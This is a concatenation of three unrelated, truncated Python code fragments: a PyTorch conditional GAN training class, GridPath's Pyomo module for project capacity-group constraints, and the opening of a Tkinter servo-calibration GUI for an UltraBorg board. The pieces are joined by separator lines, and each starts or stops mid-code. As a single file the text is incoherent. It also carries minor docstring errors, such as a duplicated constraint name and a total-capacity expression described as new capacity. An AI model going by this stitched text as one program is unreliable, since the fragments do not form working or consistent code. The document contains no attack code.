self.real_label = 1
self.fake_label = 0
self.stored_loss = []
self.stored_acc = []
self.fixed_imgs = [self.gen_fixed_img_grid()]
def train_gan(self, num_epochs, print_freq, eval_freq=None, run_id=None, logger=None, retrain=False):
"""
Primary method for training
:param num_epochs: Desired number of epochs to train for
:param print_freq: How frequently to print out training statistics (i.e., freq of 5 will result in information being printed every 5 epochs)
:param eval_freq: How frequently to evaluate with netE. If None, no evaluation will occur. Evaluation takes a significant amount of time.
:param run_id: If not None, will update database as it progresses through training in quarter increments.
:param logger: Logger to be used for logging training progress. Must exist if run_id is not None.
:param retrain: Whether model is being retrained
"""
assert logger if run_id else True, "Must pass a logger if run_id is passed"
total_epochs = self.epoch + num_epochs
if run_id:
checkpoints = [int(num_epochs * i / 4) for i in range(1, 4)]
if self.label_noise_linear_anneal:
self.ln_rate = self.label_noise / num_epochs
if self.discrim_noise_linear_anneal:
self.dn_rate = self.discrim_noise / num_epochs
uu.train_log_print(run_id=run_id, logger=logger, statement="Beginning training")
og_start_time = time.time()
start_time = time.time()
for epoch in range(num_epochs):
for x, y in self.train_gen:
y = torch.eye(self.nc)[y] if len(y.shape) == 1 else y
x, y = x.to(self.device), y.to(self.device)
self.train_one_step(x, y)
self.next_epoch()
if self.epoch % print_freq == 0 or (self.epoch == num_epochs):
uu.train_log_print(run_id=run_id, logger=logger, statement="Time: %ds" % (time.time() - start_time))
start_time = time.time()
self.print_progress(total_epochs=total_epochs, run_id=run_id, logger=logger)
if eval_freq is not None:
if self.epoch % eval_freq == 0 or (self.epoch == num_epochs):
self.init_fake_gen()
self.test_model(train_gen=self.fake_train_gen, val_gen=self.fake_val_gen)
uu.train_log_print(run_id=run_id, logger=logger, statement="Epoch: %d\tEvaluator Score: %.4f" % (self.epoch, np.max(self.stored_acc[-1])))
if run_id:
if self.epoch in checkpoints:
db.query_verify_live_run(run_id=run_id)
logger.info('Checkpoint reached.')
status_id = 'Train ' + str(checkpoints.index(self.epoch) + 1) + '/4'
status_id = status_id.replace('Train', 'Retrain') if retrain else status_id
db.query_set_status(run_id=run_id, status_id=cs.STATUS_DICT[status_id])
uu.train_log_print(run_id=run_id, logger=logger, statement="Total training time: %ds" % (time.time() - og_start_time))
uu.train_log_print(run_id=run_id, logger=logger, statement="Training complete")
def test_model(self, train_gen, val_gen):
"""
Train a CNN evaluator from scratch
:param train_gen: Specified train_gen, can either be real training generator or a created one from netG
:param val_gen: Same as above ^
"""
self.init_evaluator(train_gen, val_gen)
self.netE.train_evaluator(num_epochs=self.eval_num_epochs, eval_freq=1, real=False, es=self.early_stopping_patience)
torch.save(self.netG.state_dict(), self.path + "/stored_generators/Epoch_" + str(self.epoch) + "_Generator.pt")
loss, acc = self.netE.eval_once_real(self.test_gen)
self.stored_loss.append(loss.item())
self.stored_acc.append(acc.item())
def next_epoch(self):
"""Run netG and netD methods to prepare for next epoch. Mostly saves histories and resets history collection objects."""
self.epoch += 1
self.fixed_imgs.append(self.gen_fixed_img_grid())
self.netG.next_epoch()
self.netG.next_epoch_gen()
self.netD.next_epoch()
self.netD.next_epoch_discrim()
# Anneal noise rates
self.label_noise -= self.ln_rate
self.discrim_noise -= self.dn_rate
self.netD.noise = GaussianNoise(device=self.device, sigma=self.discrim_noise)
def init_evaluator(self, train_gen, val_gen):
"""
Initialize the netE sub-net. This is done as a separate method because we want to reinitialize netE each time we want to evaluate it.
We can also evaluate on the original, real data by specifying these training generators.
"""
self.netE = ImageNetE(train_gen=train_gen, val_gen=val_gen, test_gen=self.test_gen, device=self.device, x_dim=self.x_dim, le=self.le,
num_channels=self.num_channels, nc=self.nc, path=self.path, **self.netE_params).to(self.device)
self.nets = {self.netG, self.netD, self.netE}
def init_fake_gen(self):
# Initialize fake training set and validation set to be same size
self.fake_train_set = OnlineGeneratedImageDataset(netG=self.netG, size=self.fake_data_set_size, nz=self.nz, nc=self.nc, bs=self.fake_bs,
ohe=self.ohe, device=self.device, x_dim=self.x_dim)
self.fake_train_gen = data.DataLoader(self.fake_train_set, batch_size=self.fake_bs,
shuffle=self.fake_shuffle, num_workers=self.fake_num_workers)
self.fake_val_set = OnlineGeneratedImageDataset(netG=self.netG, size=self.fake_data_set_size, nz=self.nz, nc=self.nc, bs=self.fake_bs,
ohe=self.ohe, device=self.device, x_dim=self.x_dim)
self.fake_val_gen = data.DataLoader(self.fake_val_set, batch_size=self.fake_bs,
shuffle=self.fake_shuffle, num_workers=self.fake_num_workers)
def eval_on_real_data(self, num_epochs, train_gen=None, val_gen=None, test_gen=None, es=None):
"""
Evaluate the CGAN Evaluator Network on real examples
:param num_epochs: Number of epochs to train for
:param train_gen: PyTorch generator
:param val_gen: PyTorch generator
:param test_gen: PyTorch generator
:param es: Early-stopping patience. If None, early-stopping is not utilized.
:return: Accuracy of evaluation on CGAN's testing data
"""
if train_gen is None:
train_gen = self.train_gen
if val_gen is None:
val_gen = self.val_gen
if test_gen is None:
test_gen = self.test_gen
self.init_evaluator(train_gen, val_gen)
self.netE.train_evaluator(num_epochs=num_epochs, eval_freq=1, real=True, es=es)
_, og_result = self.netE.eval_once_real(test_gen)
og_result = og_result.numpy().take(0)
return og_result, copy.copy(self.netE)
def show_img(self, label):
"""Generate an image based on the desired class label index (integer 0-9)"""
assert label in self.le.classes_, "Make sure label is a valid class"
label = self.le.transform([label])[0]
label = torch.full((1, 1), label, dtype=torch.int64)
noise = torch.randn(1, self.nz, device=self.device)
processed_label = torch.zeros([1, self.nc], dtype=torch.uint8, device='cpu')
processed_label = processed_label.scatter(1, label, 1).float().to(self.device)
self.netG.eval()
with torch.no_grad():
output = self.netG(noise, processed_label).view(self.num_channels, self.x_dim[0], self.x_dim[1]).detach().cpu()
plt.imshow(output.permute(1, 2, 0))
plt.show()
def gen_fixed_img_grid(self):
"""
Produce a grid of generated images from netG's fixed noise vector. This can be used to visually track progress of the CGAN training.
:return: Tensor of images
"""
self.netG.eval()
with torch.no_grad():
fixed_imgs = self.netG(self.netG.fixed_noise, self.netG.fixed_labels)
return vutils.make_grid(tensor=fixed_imgs, nrow=self.grid_num_examples, normalize=True).detach().cpu()
def get_grid(self, index=-1, labels=None, num_examples=None):
"""Same as show_grid, but produces the specific grid (helper function)"""
# Check inputs
assert len(self.fixed_imgs) > 0, 'Model not yet trained'
if num_examples is None:
num_examples = self.grid_num_examples
assert num_examples <= self.grid_num_examples, 'Num examples must be less than or equal to ' + str(self.grid_num_examples)
if labels is None:
labels = self.le.classes_
# Instantiate output object
og_img = self.fixed_imgs[index]
new_img = torch.zeros([og_img.shape[0], len(labels) * self.x_dim[0] + 2 * (1 + len(labels)), num_examples * self.x_dim[1] + 2 * (1 + num_examples)],
dtype=torch.float32)
# Fill in new_img with relevant parts of og_img
for i, label in enumerate(labels):
for j in range(num_examples):
start_loc = np.where(label == self.le.classes_)[0][0]
new_img[:, i * self.x_dim[0] + 2 * (1 + i):(1 + i) * self.x_dim[0] + 2 * (2 + i), j * self.x_dim[1] + 2 * (1 + j):(1 + j) * self.x_dim[1] + 2 * (2 + j)] = \
og_img[:, start_loc * self.x_dim[0] + 2 * (1 + start_loc):(1 + start_loc) * self.x_dim[0] + 2 * (2 + start_loc),
j * self.x_dim[1] + 2 * (1 + j):(1 + j) * self.x_dim[1] + 2 * (2 + j)]
return new_img
def show_grid(self, index=-1, labels=None, num_examples=None):
"""
Print a specified fixed image grid from the self.fixed_imgs list
:param index: Evaluation index to display
:param labels: Which categories to show grid for
:param num_examples: Number of examples of each category to include in grid
:return: Nothing. Displays the desired image instead.
"""
# Check inputs
assert len(self.fixed_imgs) > 0, 'Model not yet trained'
if num_examples is None:
num_examples = self.grid_num_examples
assert num_examples <= self.grid_num_examples, 'Num examples must be less than or equal to ' + str(self.grid_num_examples)
if labels is None:
labels = self.le.classes_
# Get img
new_img = self.get_grid(index=index, labels=labels, num_examples=num_examples)
# Show img
fig = plt.figure(figsize=(8, 8))
plt.axis('off')
| |
<filename>gridpath/project/capacity/capacity_groups.py
# Copyright 2016-2020 Blue Marble Analytics LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Minimum and maximum new and total capacity by period and project group.
"""
import csv
import os.path
import pandas as pd
from pyomo.environ import Set, Param, Constraint, NonNegativeReals, \
Expression, value
from db.common_functions import spin_on_database_lock
from gridpath.auxiliary.auxiliary import get_required_subtype_modules_from_projects_file
from gridpath.project.capacity.common_functions import \
load_gen_storage_capacity_type_modules
from gridpath.auxiliary.db_interface import setup_results_import
def add_model_components(m, d, scenario_directory, subproblem, stage):
"""
The following Pyomo model components are defined in this module:
+-------------------------------------------------------------------------+
| Sets |
+=========================================================================+
| | :code:`CAPACITY_GROUP_PERIODS` |
| |
| A two-dimensional set of group-period combinations for which there may |
| be group capacity requirements. |
+-------------------------------------------------------------------------+
| | :code:`CAPACITY_GROUPS` |
| |
| The groups of projects for which there may be group capacity |
| requirements. |
+-------------------------------------------------------------------------+
| | :code:`PROJECTS_IN_CAPACITY_GROUP` |
| |
| The list of projects by capacity group. |
+-------------------------------------------------------------------------+
+-------------------------------------------------------------------------+
| Optional Input Params |
+=========================================================================+
| | :code:`capacity_group_new_capacity_min` |
| | *Defined over*: :code:`CAPACITY_GROUP_PERIODS` |
| | *Within*: :code:`NonNegativeReals` |
| | *Default*: :code:`0` |
| |
| The minimum amount of capacity (in MW) that must be built at projects |
| in this group in a given period. |
+-------------------------------------------------------------------------+
| | :code:`capacity_group_new_capacity_max` |
| | *Defined over*: :code:`CAPACITY_GROUP_PERIODS` |
| | *Within*: :code:`NonNegativeReals` |
| | *Default*: :code:`inf` |
| |
| The maximum amount of capacity (in MW) that may be built at projects |
| in this group in a given period. |
+-------------------------------------------------------------------------+
| | :code:`capacity_group_total_capacity_min` |
| | *Defined over*: :code:`CAPACITY_GROUP_PERIODS` |
| | *Within*: :code:`NonNegativeReals` |
| | *Default*: :code:`0` |
| |
| The minimum amount of capacity (in MW) that must exist at projects |
| in this group in a given period. |
+-------------------------------------------------------------------------+
| | :code:`capacity_group_total_capacity_max` |
| | *Defined over*: :code:`CAPACITY_GROUP_PERIODS` |
| | *Within*: :code:`NonNegativeReals` |
| | *Default*: :code:`inf` |
| |
| The maximum amount of capacity (in MW) that may exist at projects |
| in this group in a given period. |
+-------------------------------------------------------------------------+
|
+-------------------------------------------------------------------------+
| Expressions |
+=========================================================================+
| | :code:`Group_New_Capacity_in_Period` |
| | *Defined over*: :code:`CAPACITY_GROUP_PERIODS` |
| |
| The new capacity built at projects in this group in this period. |
+-------------------------------------------------------------------------+
| | :code:`Group_Total_Capacity_in_Period` |
| | *Defined over*: :code:`CAPACITY_GROUP_PERIODS` |
| |
| The new capacity of at projects in this group in this period. |
+-------------------------------------------------------------------------+
|
+-------------------------------------------------------------------------+
| Constraints |
+=========================================================================+
| | :code:`Max_Group_Build_in_Period_Constraint` |
| | *Defined over*: :code:`CAPACITY_GROUP_PERIODS` |
| |
| Limits the amount of new build in each group in each period. |
+-------------------------------------------------------------------------+
| | :code:`Min_Group_Build_in_Period_Constraint` |
| | *Defined over*: :code:`CAPACITY_GROUP_PERIODS` |
| |
| Requires a certain amount of new build in each group in each period. |
+-------------------------------------------------------------------------+
| | :code:`Max_Group_Total_Cap_in_Period_Constraint` |
| | *Defined over*: :code:`CAPACITY_GROUP_PERIODS` |
| |
| Limits the total amount of capacity in each group in each period |
+-------------------------------------------------------------------------+
| | :code:`Min_Group_Build_in_Period_Constraint` |
| | *Defined over*: :code:`CAPACITY_GROUP_PERIODS` |
| |
| Requires a certain amount of capacity in each group in each period. |
+-------------------------------------------------------------------------+
"""
# Sets
m.CAPACITY_GROUP_PERIODS = Set(dimen=2)
m.CAPACITY_GROUPS = Set(
initialize=lambda mod: list(
set([g for (g, p) in mod.CAPACITY_GROUP_PERIODS])
)
)
m.PROJECTS_IN_CAPACITY_GROUP = Set(
m.CAPACITY_GROUPS, within=m.PROJECTS
)
# Params
m.capacity_group_new_capacity_min = Param(
m.CAPACITY_GROUP_PERIODS, within=NonNegativeReals,
default=0
)
m.capacity_group_new_capacity_max = Param(
m.CAPACITY_GROUP_PERIODS, within=NonNegativeReals,
default=float('inf')
)
m.capacity_group_total_capacity_min = Param(
m.CAPACITY_GROUP_PERIODS, within=NonNegativeReals,
default=0
)
m.capacity_group_total_capacity_max = Param(
m.CAPACITY_GROUP_PERIODS, within=NonNegativeReals,
default=float('inf')
)
# Import needed capacity type modules
required_capacity_modules = get_required_subtype_modules_from_projects_file(
scenario_directory=scenario_directory, subproblem=subproblem,
stage=stage, which_type="capacity_type"
)
imported_capacity_modules = load_gen_storage_capacity_type_modules(
required_capacity_modules
)
# Get the new and total capacity in the group for the respective
# expressions
def new_capacity_rule(mod, prj, prd):
gen_cap_type = mod.capacity_type[prj]
# The capacity type modules check if this period is a "vintage" for
# this project and return 0 if not
return imported_capacity_modules[gen_cap_type].new_capacity_rule(
mod, prj, prd)
def total_capacity_rule(mod, prj, prd):
gen_cap_type = mod.capacity_type[prj]
# Return the capacity type's capacity rule if the project is
# operational in this timepoint; otherwise, return 0
return imported_capacity_modules[gen_cap_type].capacity_rule(
mod, prj, prd) \
if prd in mod.OPR_PRDS_BY_PRJ[prj] \
else 0
# Expressions
def group_new_capacity_rule(mod, grp, prd):
return sum(
new_capacity_rule(mod, prj, prd)
for prj in mod.PROJECTS_IN_CAPACITY_GROUP[grp]
)
m.Group_New_Capacity_in_Period = Expression(
m.CAPACITY_GROUP_PERIODS,
rule=group_new_capacity_rule
)
def group_total_capacity_rule(mod, grp, prd):
return sum(
total_capacity_rule(mod, prj, prd)
for prj in mod.PROJECTS_IN_CAPACITY_GROUP[grp]
)
m.Group_Total_Capacity_in_Period = Expression(
m.CAPACITY_GROUP_PERIODS,
rule=group_total_capacity_rule
)
# Constraints
# Limit the min and max amount of new build in a group-period
m.Max_Group_Build_in_Period_Constraint = Constraint(
m.CAPACITY_GROUP_PERIODS,
rule=new_capacity_max_rule
)
m.Min_Group_Build_in_Period_Constraint = Constraint(
m.CAPACITY_GROUP_PERIODS,
rule=new_capacity_min_rule
)
# Limit the min and max amount of total capacity in a group-period
m.Max_Group_Total_Cap_in_Period_Constraint = Constraint(
m.CAPACITY_GROUP_PERIODS,
rule=total_capacity_max_rule
)
m.Min_Group_Total_Cap_in_Period_Constraint = Constraint(
m.CAPACITY_GROUP_PERIODS,
rule=total_capacity_min_rule
)
# Constraint Formulation Rules
###############################################################################
def new_capacity_max_rule(mod, grp, prd):
return mod.Group_New_Capacity_in_Period[grp, prd] \
<= mod.capacity_group_new_capacity_max[grp, prd]
def new_capacity_min_rule(mod, grp, prd):
return mod.Group_New_Capacity_in_Period[grp, prd] \
>= mod.capacity_group_new_capacity_min[grp, prd]
def total_capacity_max_rule(mod, grp, prd):
return mod.Group_Total_Capacity_in_Period[grp, prd] \
<= mod.capacity_group_total_capacity_max[grp, prd]
def total_capacity_min_rule(mod, grp, prd):
return mod.Group_Total_Capacity_in_Period[grp, prd] \
>= mod.capacity_group_total_capacity_min[grp, prd]
# Input-Output
###############################################################################
def load_model_data(m, d, data_portal, scenario_directory, subproblem, stage):
"""
"""
# Only load data if the input files were written; otehrwise, we won't
# initialize the components in this module
req_file = os.path.join(
scenario_directory, subproblem, stage, "inputs",
"capacity_group_requirements.tab"
)
if os.path.exists(req_file):
data_portal.load(
filename=req_file,
index=m.CAPACITY_GROUP_PERIODS,
param=(m.capacity_group_new_capacity_min,
m.capacity_group_new_capacity_max,
m.capacity_group_total_capacity_min,
m.capacity_group_total_capacity_max)
)
else:
pass
prj_file = os.path.join(
scenario_directory, subproblem, stage, "inputs",
"capacity_group_projects.tab"
)
if os.path.exists(prj_file):
proj_groups_df = pd.read_csv(prj_file, delimiter="\t")
proj_groups_dict = {
g: v["project"].tolist()
for g, v in proj_groups_df.groupby("capacity_group")
}
data_portal.data()["PROJECTS_IN_CAPACITY_GROUP"] = proj_groups_dict
else:
pass
def export_results(scenario_directory, subproblem, stage, m, d):
"""
"""
req_file = os.path.join(
scenario_directory, subproblem, stage, "inputs",
"capacity_group_requirements.tab"
)
prj_file = os.path.join(
scenario_directory, subproblem, stage, "inputs",
"capacity_group_projects.tab"
)
if os.path.exists(req_file) and os.path.exists(prj_file):
with open(os.path.join(
scenario_directory, str(subproblem), str(stage), "results",
"capacity_groups.csv"
), "w", newline="") as f:
writer = csv.writer(f)
writer.writerow(
["capacity_group", "period",
"new_capacity", "total_capacity",
"capacity_group_new_capacity_min",
"capacity_group_new_capacity_max",
"capacity_group_total_capacity_min",
"capacity_group_total_capacity_max"
])
for (grp, prd) in m.CAPACITY_GROUP_PERIODS:
writer.writerow([
grp,
prd,
value(m.Group_New_Capacity_in_Period[grp, prd]),
value(m.Group_Total_Capacity_in_Period[grp, prd]),
m.capacity_group_new_capacity_min[grp, prd],
m.capacity_group_new_capacity_max[grp, prd],
m.capacity_group_total_capacity_min[grp, prd],
m.capacity_group_total_capacity_max[grp, prd]
])
# Database
###############################################################################
def get_inputs_from_database(scenario_id, subscenarios, subproblem, stage, conn):
"""
:param subscenarios: SubScenarios object with all subscenario info
:param subproblem:
:param stage:
:param conn: database connection
:return:
"""
c1 = conn.cursor()
cap_grp_reqs = c1.execute(
"""
SELECT capacity_group, period,
capacity_group_new_capacity_min, capacity_group_new_capacity_max,
capacity_group_total_capacity_min, capacity_group_total_capacity_max
FROM inputs_project_capacity_group_requirements
WHERE project_capacity_group_requirement_scenario_id = {}
""".format(subscenarios.PROJECT_CAPACITY_GROUP_REQUIREMENT_SCENARIO_ID)
)
c2 = conn.cursor()
cap_grp_prj = c2.execute(
"""
SELECT capacity_group, project
FROM inputs_project_capacity_groups
WHERE project_capacity_group_scenario_id = {}
""".format(subscenarios.PROJECT_CAPACITY_GROUP_SCENARIO_ID)
)
return cap_grp_reqs, cap_grp_prj
def write_model_inputs(
scenario_directory, scenario_id, subscenarios, subproblem, stage, conn
):
"""
"""
cap_grp_reqs, cap_grp_prj = get_inputs_from_database(
scenario_id, subscenarios, subproblem, stage, conn
)
# Write the input files only if a subscenario is specified
if subscenarios.PROJECT_CAPACITY_GROUP_REQUIREMENT_SCENARIO_ID != "NULL":
with open(os.path.join(
scenario_directory, str(subproblem), str(stage), "inputs",
"capacity_group_requirements.tab"
), "w", newline="") as req_file:
writer = csv.writer(req_file, delimiter="\t", lineterminator="\n")
# Write header
writer.writerow(
["capacity_group", "period",
"capacity_group_new_capacity_min",
"capacity_group_new_capacity_max",
"capacity_group_total_capacity_min",
"capacity_group_total_capacity_max"]
)
for row in cap_grp_reqs:
replace_nulls = ["." if i is None else i for i in row]
writer.writerow(replace_nulls)
if subscenarios.PROJECT_CAPACITY_GROUP_SCENARIO_ID != "NULL":
with open(os.path.join(
scenario_directory, str(subproblem), str(stage), "inputs",
"capacity_group_projects.tab"
), "w", newline="") as prj_file:
writer = csv.writer(prj_file, delimiter="\t", lineterminator="\n")
# Write header
writer.writerow(
["capacity_group", "project"]
)
for row in cap_grp_prj:
writer.writerow(row)
def import_results_into_database(
scenario_id, subproblem, stage, c, db, results_directory, quiet
):
# Import only if a results-file was exported
results_file = os.path.join(results_directory, "capacity_groups.csv")
if os.path.exists(results_file):
if not quiet:
print("group capacity")
# Delete prior results and create temporary import table for ordering
setup_results_import(
conn=db, cursor=c,
table="results_project_group_capacity",
scenario_id=scenario_id, subproblem=subproblem, stage=stage
)
# Load results into the temporary table
results = []
with open(results_file, "r") as f:
reader = csv.reader(f)
next(reader) # skip header
| |
#!/usr/bin/env python
# coding: latin-1
# Import library functions we need
import UltraBorg
import Tkinter
import Tix
# Start the UltraBorg
global UB
UB = UltraBorg.UltraBorg() # Create a new UltraBorg object
UB.Init() # Set the board up (checks the board is connected)
# Calibration settings
CAL_PWM_MIN = 0 # Minimum selectable calibration burst (2000 = 1 ms)
CAL_PWM_MAX = 6000 # Maximum selectable calibration burst (2000 = 1 ms)
CAL_PWM_START = 3000 # Startup value for the calibration burst (2000 = 1 ms)
STD_PWM_MIN = 2000 # Default minimum position
STD_PWM_MAX = 4000 # Default maximum position
STD_PWM_START = 0xFFFF # Default startup position (unset, calculates centre)
# Class representing the GUI dialog
class UltraBorg_tk(Tkinter.Tk):
# Constructor (called when the object is first created)
def __init__(self, parent):
Tkinter.Tk.__init__(self, parent)
self.tk.call('package', 'require', 'Tix')
self.parent = parent
self.protocol("WM_DELETE_WINDOW", self.OnExit) # Call the OnExit function when user closes the dialog
self.Initialise()
# Initialise the dialog
def Initialise(self):
global UB
self.title('UltraBorg Tuning GUI')
# Setup a grid of 4 sliders which command each servo output, plus 4 readings for the servo positions and distances
self.grid()
# The heading labels
self.lblHeadingTask = Tkinter.Label(self, text = 'Task to perform')
self.lblHeadingTask['font'] = ('Arial', 18, 'bold')
self.lblHeadingTask.grid(column = 0, row = 0, columnspan = 1, rowspan = 1, sticky = 'NSEW')
self.lblHeadingServo1 = Tkinter.Label(self, text = 'Servo #1')
self.lblHeadingServo1['font'] = ('Arial', 18, 'bold')
self.lblHeadingServo1.grid(column = 1, row = 0, columnspan = 2, rowspan = 1, sticky = 'NSEW')
self.lblHeadingServo2 = Tkinter.Label(self, text = 'Servo #2')
self.lblHeadingServo2['font'] = ('Arial', 18, 'bold')
self.lblHeadingServo2.grid(column = 3, row = 0, columnspan = 2, rowspan = 1, sticky = 'NSEW')
self.lblHeadingServo3 = Tkinter.Label(self, text = 'Servo #3')
self.lblHeadingServo3['font'] = ('Arial', 18, 'bold')
self.lblHeadingServo3.grid(column = 5, row = 0, columnspan = 2, rowspan = 1, sticky = 'NSEW')
self.lblHeadingServo4 = Tkinter.Label(self, text = 'Servo #4')
self.lblHeadingServo4['font'] = ('Arial', 18, 'bold')
self.lblHeadingServo4.grid(column = 7, row = 0, columnspan = 2, rowspan = 1, sticky = 'NSEW')
# The task descriptions
self.lblTaskMaximum = Tkinter.Label(self, text =
'Hover over the buttons\n' +
'for more help\n\n' +
'Set the servo maximums')
self.lblTaskMaximum['font'] = ('Arial', 14, '')
self.lblTaskMaximum.grid(column = 0, row = 1, columnspan = 1, rowspan = 2, sticky = 'NEW')
self.lblTaskStartup = Tkinter.Label(self, text = 'Set the servo startup positions')
self.lblTaskStartup['font'] = ('Arial', 14, '')
self.lblTaskStartup.grid(column = 0, row = 3, columnspan = 1, rowspan = 2, sticky = 'NSEW')
self.lblTaskMinimum = Tkinter.Label(self, text = 'Set the servo minimums')
self.lblTaskMinimum['font'] = ('Arial', 14, '')
self.lblTaskMinimum.grid(column = 0, row = 5, columnspan = 1, rowspan = 2, sticky = 'NSEW')
self.lblTaskCurrent = Tkinter.Label(self, text = 'Current servo position')
self.lblTaskCurrent['font'] = ('Arial', 18, 'bold')
self.lblTaskCurrent.grid(column = 0, row = 7, columnspan = 1, rowspan = 1, sticky = 'NSEW')
# The servo sliders
self.sld1 = Tkinter.Scale(self, from_ = CAL_PWM_MAX, to = CAL_PWM_MIN, orient = Tkinter.VERTICAL, command = self.sld1_move, showvalue = 0)
self.sld1.set(CAL_PWM_START)
self.sld1.grid(column = 1, row = 1, rowspan = 6, columnspan = 1, sticky = 'NSE')
self.sld2 = Tkinter.Scale(self, from_ = CAL_PWM_MAX, to = CAL_PWM_MIN, orient = Tkinter.VERTICAL, command = self.sld2_move, showvalue = 0)
self.sld2.set(CAL_PWM_START)
self.sld2.grid(column = 3, row = 1, rowspan = 6, columnspan = 1, sticky = 'NSE')
self.sld3 = Tkinter.Scale(self, from_ = CAL_PWM_MAX, to = CAL_PWM_MIN, orient = Tkinter.VERTICAL, command = self.sld3_move, showvalue = 0)
self.sld3.set(CAL_PWM_START)
self.sld3.grid(column = 5, row = 1, rowspan = 6, columnspan = 1, sticky = 'NSE')
self.sld4 = Tkinter.Scale(self, from_ = CAL_PWM_MAX, to = CAL_PWM_MIN, orient = Tkinter.VERTICAL, command = self.sld4_move, showvalue = 0)
self.sld4.set(CAL_PWM_START)
self.sld4.grid(column = 7, row = 1, rowspan = 6, columnspan = 1, sticky = 'NSE')
# The servo maximums
self.lblServoMaximum1 = Tkinter.Label(self, text = '-')
self.lblServoMaximum1['font'] = ('Arial', 14, '')
self.lblServoMaximum1.grid(column = 2, row = 1, columnspan = 1, rowspan = 1, sticky = 'SW')
self.lblServoMaximum2 = Tkinter.Label(self, text = '-')
self.lblServoMaximum2['font'] = ('Arial', 14, '')
self.lblServoMaximum2.grid(column = 4, row = 1, columnspan = 1, rowspan = 1, sticky = 'SW')
self.lblServoMaximum3 = Tkinter.Label(self, text = '-')
self.lblServoMaximum3['font'] = ('Arial', 14, '')
self.lblServoMaximum3.grid(column = 6, row = 1, columnspan = 1, rowspan = 1, sticky = 'SW')
self.lblServoMaximum4 = Tkinter.Label(self, text = '-')
self.lblServoMaximum4['font'] = ('Arial', 14, '')
self.lblServoMaximum4.grid(column = 8, row = 1, columnspan = 1, rowspan = 1, sticky = 'SW')
# The servo maximum set buttons
self.butServoMaximum1 = Tkinter.Button(self, text = 'Save\nmaximum', command = self.butServoMaximum1_click)
self.butServoMaximum1['font'] = ('Arial', 12, '')
self.butServoMaximum1.grid(column = 2, row = 2, columnspan = 1, rowspan = 1, sticky = 'NW')
self.butServoMaximum2 = Tkinter.Button(self, text = 'Save\nmaximum', command = self.butServoMaximum2_click)
self.butServoMaximum2['font'] = ('Arial', 12, '')
self.butServoMaximum2.grid(column = 4, row = 2, columnspan = 1, rowspan = 1, sticky = 'NW')
self.butServoMaximum3 = Tkinter.Button(self, text = 'Save\nmaximum', command = self.butServoMaximum3_click)
self.butServoMaximum3['font'] = ('Arial', 12, '')
self.butServoMaximum3.grid(column = 6, row = 2, columnspan = 1, rowspan = 1, sticky = 'NW')
self.butServoMaximum4 = Tkinter.Button(self, text = 'Save\nmaximum', command = self.butServoMaximum4_click)
self.butServoMaximum4['font'] = ('Arial', 12, '')
self.butServoMaximum4.grid(column = 8, row = 2, columnspan = 1, rowspan = 1, sticky = 'NW')
# The servo startups
self.lblServoStartup1 = Tkinter.Label(self, text = '-')
self.lblServoStartup1['font'] = ('Arial', 14, '')
self.lblServoStartup1.grid(column = 2, row = 3, columnspan = 1, rowspan = 1, sticky = 'SW')
self.lblServoStartup2 = Tkinter.Label(self, text = '-')
self.lblServoStartup2['font'] = ('Arial', 14, '')
self.lblServoStartup2.grid(column = 4, row = 3, columnspan = 1, rowspan = 1, sticky = 'SW')
self.lblServoStartup3 = Tkinter.Label(self, text = '-')
self.lblServoStartup3['font'] = ('Arial', 14, '')
self.lblServoStartup3.grid(column = 6, row = 3, columnspan = 1, rowspan = 1, sticky = 'SW')
self.lblServoStartup4 = Tkinter.Label(self, text = '-')
self.lblServoStartup4['font'] = ('Arial', 14, '')
self.lblServoStartup4.grid(column = 8, row = 3, columnspan = 1, rowspan = 1, sticky = 'SW')
# The servo startup set buttons
self.butServoStartup1 = Tkinter.Button(self, text = 'Save\nstartup', command = self.butServoStartup1_click)
self.butServoStartup1['font'] = ('Arial', 12, '')
self.butServoStartup1.grid(column = 2, row = 4, columnspan = 1, rowspan = 1, sticky = 'NW')
self.butServoStartup2 = Tkinter.Button(self, text = 'Save\nstartup', command = self.butServoStartup2_click)
self.butServoStartup2['font'] = ('Arial', 12, '')
self.butServoStartup2.grid(column = 4, row = 4, columnspan = 1, rowspan = 1, sticky = 'NW')
self.butServoStartup3 = Tkinter.Button(self, text = 'Save\nstartup', command = self.butServoStartup3_click)
self.butServoStartup3['font'] = ('Arial', 12, '')
self.butServoStartup3.grid(column = 6, row = 4, columnspan = 1, rowspan = 1, sticky = 'NW')
self.butServoStartup4 = Tkinter.Button(self, text = 'Save\nstartup', command = self.butServoStartup4_click)
self.butServoStartup4['font'] = ('Arial', 12, '')
self.butServoStartup4.grid(column = 8, row = 4, columnspan = 1, rowspan = 1, sticky = 'NW')
# The servo minimums
self.lblServoMinimum1 = Tkinter.Label(self, text = '-')
self.lblServoMinimum1['font'] = ('Arial', 14, '')
self.lblServoMinimum1.grid(column = 2, row = 5, columnspan = 1, rowspan = 1, sticky = 'SW')
self.lblServoMinimum2 = Tkinter.Label(self, text = '-')
self.lblServoMinimum2['font'] = ('Arial', 14, '')
self.lblServoMinimum2.grid(column = 4, row = 5, columnspan = 1, rowspan = 1, sticky = 'SW')
self.lblServoMinimum3 = Tkinter.Label(self, text = '-')
self.lblServoMinimum3['font'] = ('Arial', 14, '')
self.lblServoMinimum3.grid(column = 6, row = 5, columnspan = 1, rowspan = 1, sticky = 'SW')
self.lblServoMinimum4 = Tkinter.Label(self, text = '-')
self.lblServoMinimum4['font'] = ('Arial', 14, '')
self.lblServoMinimum4.grid(column = 8, row = 5, columnspan = 1, rowspan = 1, sticky = 'SW')
# The servo minimum set buttons
self.butServoMinimum1 = Tkinter.Button(self, text = 'Save\nminimum', command = self.butServoMinimum1_click)
self.butServoMinimum1['font'] = ('Arial', 12, '')
self.butServoMinimum1.grid(column = 2, row = 6, columnspan = 1, rowspan = 1, sticky = 'NW')
self.butServoMinimum2 = Tkinter.Button(self, text = 'Save\nminimum', command = self.butServoMinimum2_click)
self.butServoMinimum2['font'] = ('Arial', 12, '')
self.butServoMinimum2.grid(column = 4, row = 6, columnspan = 1, rowspan = 1, sticky = 'NW')
self.butServoMinimum3 = Tkinter.Button(self, text = 'Save\nminimum', command = self.butServoMinimum3_click)
self.butServoMinimum3['font'] = ('Arial', 12, '')
